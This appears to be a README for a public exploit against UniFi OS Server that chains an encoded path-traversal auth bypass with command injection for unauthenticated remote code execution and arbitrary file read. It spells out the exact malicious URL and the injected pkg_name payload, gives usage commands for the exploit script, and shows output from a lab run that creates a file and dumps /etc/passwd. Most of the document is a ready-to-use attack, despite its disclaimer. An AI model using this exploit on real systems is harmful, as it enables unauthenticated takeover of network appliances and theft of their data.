CVE-2026-34910 / CVE-2026-34909 — UniFi OS Unauthenticated RCE & File Read

Unauthenticated Command Injection RCE (CVE-2026-34910) + Path Traversal Arbitrary File Read (CVE-2026-34909) in UniFi OS Server. CVSS 10.0 (Critical) each · CISA KEV listed · actively exploited by a Mirai-derived botnet (azsxd implant).

TL;DR

Ubiquiti UniFi OS ships an nginx auth gateway that treats any request whose RAW URI starts with /api/auth/validate-sso/ as public, but routes by the NORMALIZED URI (decodes %2f → / and collapses ../). Encoding a traversal makes the two diverge:

GET /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=<CMD>&by_cmd=true

→ reaches the internal package-update handler, which passes pkg_name to /bin/sh -c → unauthenticated RCE in a single request.

The same primitive against /app-assets/... reads files off disk (CVE-2026-34909).

Exploit

# 1. Auth-bypass probe (non-destructive)
python3 CVE-2026-34910.py https://TARGET:8443 --check

# 2. RCE — run a command (CVE-2026-34910)
python3 CVE-2026-34910.py https://TARGET:8443 "id > /tmp/pwned.txt"

# 3. RCE proof — create a file on the target
python3 CVE-2026-34910.py https://TARGET:8443 --proof

# 4. File read (CVE-2026-34909)
python3 CVE-2026-34910.py https://TARGET:8443 --read /etc/passwd

The RCE payload injects a semicolon into the handler's internal sudo systemctl stop <pkg_name> shell command: pkg_name=evil;<CMD> → sudo systemctl stop evil;<CMD> — the injected command executes on the host as the ucs-update user.

Verified against real UniFi OS Server 5.0.6 (setup-completed)

$ python3 CVE-2026-34910.py https://127.0.0.1:11443 --proof
[*] Komut: touch /tmp/PWNED_34910
[*] HTTP 200
[*] Yanıt: {"code":-3,"codeS":"CODE_SYSTEM_ERROR",...}
[+] İstek gönderildi — komut hedefte çalıştırıldı

# On the target (docker exec unifi-os-vuln):
$ ls -la /tmp/PWNED_34910
-rw-r--r-- 1 ucs-update ucs-update 0 Aug  9 21:52 /tmp/PWNED_34910   ✅ FILE CREATED

Verification (real UniFi OS)

✅ FULLY VERIFIED — RCE confirmed against real UniFi OS Server 5.0.6 (vulnerable, setup-completed) running in Docker (hieutq/unifi-os-server:5.0.6-amd64):

1. ..%2f auth-bypass reaches the internal latest_package handler (response: CODE_SYSTEM_ERROR / "pkg_name required" — not an nginx 400).
2. pkg_name=evil;touch /tmp/PWNED_34910&by_cmd=true created the file on the target (-rw-r--r-- ucs-update) → command injection → RCE confirmed.
3. Against patched UniFi OS 5.1.21 the same request returns HTTP 400 (nginx rejects the raw-URI/normalized-URI divergence), confirming a clean negative.

Setup was completed through the real web wizard (device name → credentials → console password → finish), so the lab matches a production-installed appliance.

$ python3 CVE-2026-34910.py http://127.0.0.1:8443 --check
[*] Auth-bypass probe: HTTP 200
[+] SAVUNMASIZ — handler'a ulaşıldı (pkg_name required)

$ python3 CVE-2026-34910.py http://127.0.0.1:8443 --read /etc/passwd
[*] Dosya: /etc/passwd
[*] HTTP 200
[+] Dosya içeriği (80 byte):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

Affected / Fixed

In the Wild

Mirai/Gafgyt-derived botnet (azsxd v2.0 implant) chains the auth bypass + command injection for unauth RCE — multi-arch loader staged from 185.228.26.16. See the pwndefend writeup.

References

• Ubiquiti SAB-064
• NVD — CVE-2026-34910
• NVD — CVE-2026-34909
• CISA KEV
• BishopFox CVE-2026-34908 detector

Disclaimer

For authorized security testing and educational purposes only.